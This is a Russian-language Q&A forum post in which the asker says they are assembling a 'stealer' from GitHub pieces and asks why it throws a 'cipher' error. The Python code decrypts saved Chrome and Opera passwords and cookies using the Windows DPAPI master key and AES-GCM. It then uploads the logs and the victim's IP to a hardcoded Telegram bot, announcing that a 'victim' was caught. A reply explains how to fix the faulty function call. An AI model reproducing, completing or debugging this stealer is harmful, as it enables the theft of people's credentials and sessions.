name 'cipher' is not defined /// python
Пишу стиллер по кускам с проектов гитхаба:
try:
import time
import telegram
import shutil
import json
from base64 import b64decode
from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES
import os
import sqlite3
import win32api
import datetime
import requests
import ctypes
import string
import subprocess
from bs4 import BeautifulSoup
import sys
import urllib.request
import re
import glob
from ctypes import wintypes
except Exception as e:
print(e)
pass
user_id = 786366032
token = '1451777182:AAE5yunZVWvliGRHvNx4SAAFlDH65rEcYbU'
today = datetime.datetime.today()
password_file = "log" + today.strftime("%Y-%m-%d-%H.%M.%S") + ".txt"
read_files = glob.glob("*.txt")
sendpath = 'C:\Temp'
url = "https://ifconfig.me/ip"
uf = urllib.request.urlopen(url)
html1 = uf.read()
html = re.sub("[b'()]", "", html1.decode('utf-8'))
passtext = "######################################" + "\n" + "########## Passwords of" + str(html) + " #######" + "\n" + "######################################" + "\n" + "\n"
LocalAppData = os.environ['LocalAppData'] + '\\'
AppData = os.environ['AppData'] + '\\'
FileName = 116444736000000000
NanoSeconds = 10000000
class DATA_BLOB(ctypes.Structure):
_fields_ = [
('cbData', wintypes.DWORD),
('pbData', ctypes.POINTER(ctypes.c_char))
]
subprocess.Popen('@chcp 65001 1>nul', shell=True)
def GetBrowsers():
Browsers = []
for Browser in BrowsersPath:
if os.path.exists(Browser):
Browsers.append(Browser)
return Browsers
def DecryptPayload(cipher, payload):
return cipher.decrypt(payload)
def GenerateCipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def GetMasterKey(browserPath):
fail = True
for i in range(4):
path = browserPath + '\\..' * i + '\\Local State'
if os.path.exists(path):
fail = False
break
if fail:
return None
with open(path, 'r', encoding='utf-8') as f:
local_state = f.read()
local_state = json_loads(local_state)
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key)
return master_key
def DecryptValue(buff, master_key=None):
starts = buff.decode(encoding='utf-8', errors='ignore')[:3]
if starts == 'v10' or starts == 'v11':
iv = buff[3:15]
payload = buff[15:]
cipher = GenerateCipher(master_key, iv)
decrypted_pass = DecryptPayload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
else:
decrypted_pass = CryptUnprotectData(buff)
return decrypted_pass
def FetchDataBase(target_db, sql=''):
if not os.path.exists(target_db):
return []
tmpDB = os.getenv('TEMP') + 'info_' + ''.join(random.choice(ascii_lowercase) for i in range(random.randint(10, 20))) + '.db'
shutil.copy2(target_db, tmpDB)
conn = sql_connect(tmpDB)
cursor = conn.cursor()
cursor.execute(sql)
data = cursor.fetchall()
cursor.close()
conn.close()
try:
os.remove(tmpDB)
except:
pass
return data
BrowsersPath = (
LocalAppData + 'Google\\Chrome\\User Data\\Default',
AppData + 'Opera Software\\Opera Stable'
)
def GetPasswords():
global credentials
credentials = []
ptext = "######################################" + "\n" + "########## Passwords of" + str(html) + " #######" + "\n" + "######################################" + "\n" + "\n"
for browser in GetBrowsers():
master_key = GetMasterKey(browser)
database = FetchDataBase(browser + '\\Login Data', 'SELECT action_url, username_value, password_value FROM logins')
for row in database:
password = {
'hostname': row[0],
'login': row[1],
'password': DecryptValue(row[2], master_key)
}
ptext += f'{hostname}|{login}|{password}\n' + '\n'
with open("p_log.txt", "w", encoding="utf-8") as f:
f.write(ptext)
credentials.append(password)
return credentials
def GetCookies():
global credentials
credentials = []
ctext = "######################################" + "\n" + "########## Cookies of" + str(html) + " #######" + "\n" + "######################################" + "\n" + "\n"
for browser in GetBrowsers():
master_key = GetMasterKey(browser)
database = FetchDataBase(browser + '\\Cookies', 'SELECT * FROM cookies')
for row in database:
cookie = {
'value': DecryptValue(row[12], master_key),
'hostname': row[1],
'name': row[2],
'path': row[4],
'expires': row[5],
'secure': bool(row[6])
}
ctext += f'{value}|{hostname}|{name}|{path}|{expires}|{secure}\n' + '\n'
with open("c_log.txt", "w", encoding="utf-8") as f:
f.write(ctext)
credentials.append(cookie)
return credentials
def merge_logs():
try:
with open(password_file, "wb") as outfile:
for f in read_files:
with open(f, "rb") as infile:
outfile.write(infile.read() + b'\n')
except Exception as e:
print("ERROR in merge_logs() func: " + repr(e))
pass
def send_txt():
try:
f = open(password_file, 'rb')
bot.sendDocument(user_id, document=f)
bot.send_message(user_id, text="Жертва попалась на Money Mod Stealer (" + str(html) + ")!")
print("***Пароли были отправлены через бота")
except Exception as e:
print("ERROR in send_txt() func: " + repr(e))
pass
def logo():
try:
print(" /$$ /$$ /$$ /$$ /$$ /$$$$$$ /$$ /$$ " + "\n" + "| $$$ /$$$ | $$$ /$$$ | $$ /$$__ $$ | $$ | $$ " + "\n" + "| $$$$ /$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$| $$$$ /$$$$ /$$$$$$ /$$$$$$$| $$ \__//$$$$$$ /$$$$$$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ " + "\n" + "| $$ $$/$$ $$ /$$__ $$| $$__ $$ /$$__ $$| $$ | $$| $$ $$/$$ $$ /$$__ $$ /$$__ $$| $$$$$$|_ $$_/ /$$__ $$ |____ $$| $$ /$$__ $$ /$$__ $$" + "\n" + "| $$ $$$| $$| $$ \ $$| $$ \ $$| $$$$$$$$| $$ | $$| $$ $$$| $$| $$ \ $$| $$ | $$ \____ $$ | $$ | $$$$$$$$ /$$$$$$$| $$| $$$$$$$$| $$ \__/" + "\n" + "| $$\ $ | $$| $$ | $$| $$ | $$| $$_____/| $$ | $$| $$\ $ | $$| $$ | $$| $$ | $$ /$$ \ $$ | $$ /$$| $$_____/ /$$__ $$| $$| $$_____/| $$ " + "\n" + "| $$ \/ | $$| $$$$$$/| $$ | $$| $$$$$$$| $$$$$$$| $$ \/ | $$| $$$$$$/| $$$$$$$| $$$$$$/ | $$$$/| $$$$$$$| $$$$$$$| $$| $$$$$$$| $$ " + "\n" + "|__/ |__/ \______/ |__/ |__/ \_______/ \____ $$|__/ |__/ \______/ \_______/ \______/ \___/ \_______/ \_______/|__/ \_______/|__/ " + "\n" + " /$$ | $$ " + "\n" + " | $$$$$$/ " + "\n" + " \______/ ")
time.sleep(10)
except Exception as e:
print("ERROR in logo() func: " + repr(e))
pass
def main():
try:
GetBrowsers()
DecryptPayload()
GenerateCipher()
GetMasterKey()
DecryptValue()
FetchDataBase()
GetPasswords()
GetCookies()
merge_logs()
send_txt()
except Exception as e:
print(e)
pass
if __name__ == '__main__':
main()
print("Успешно!")
Возникает следующая ошибка:
name 'cipher' is not defined
Вещи с данной переменной написал не сам, а взял из другого проекта (в некоторых местах допиливал, но без участия этой переменной), так как сам по этой части не шарю.
UPD: оно как-то поменялось и теперь выдаёт вот эту ошибку
DecryptPayload() missing 2 required positional arguments: 'cipher' and 'payload'
скорее всего либо сам decryptpayload либо функция main , строку почему-то не выбивает
Ответы (1 шт):
Автор решения: CrazyElf
→ Ссылка
def DecryptPayload(cipher, payload): # два параметра: cipher, payload
return cipher.decrypt(payload)
def main():
try:
GetBrowsers()
DecryptPayload() # нет переданных параметров
Вы вызываете тут функцию DecryptPayload без параметров, а описана она как принимающая на вход два параметра.
Судя по логике программы, вам вообще не надо в main вызывать эту функцию, она вызывается через другие функции, там это делается с нужными параметрами.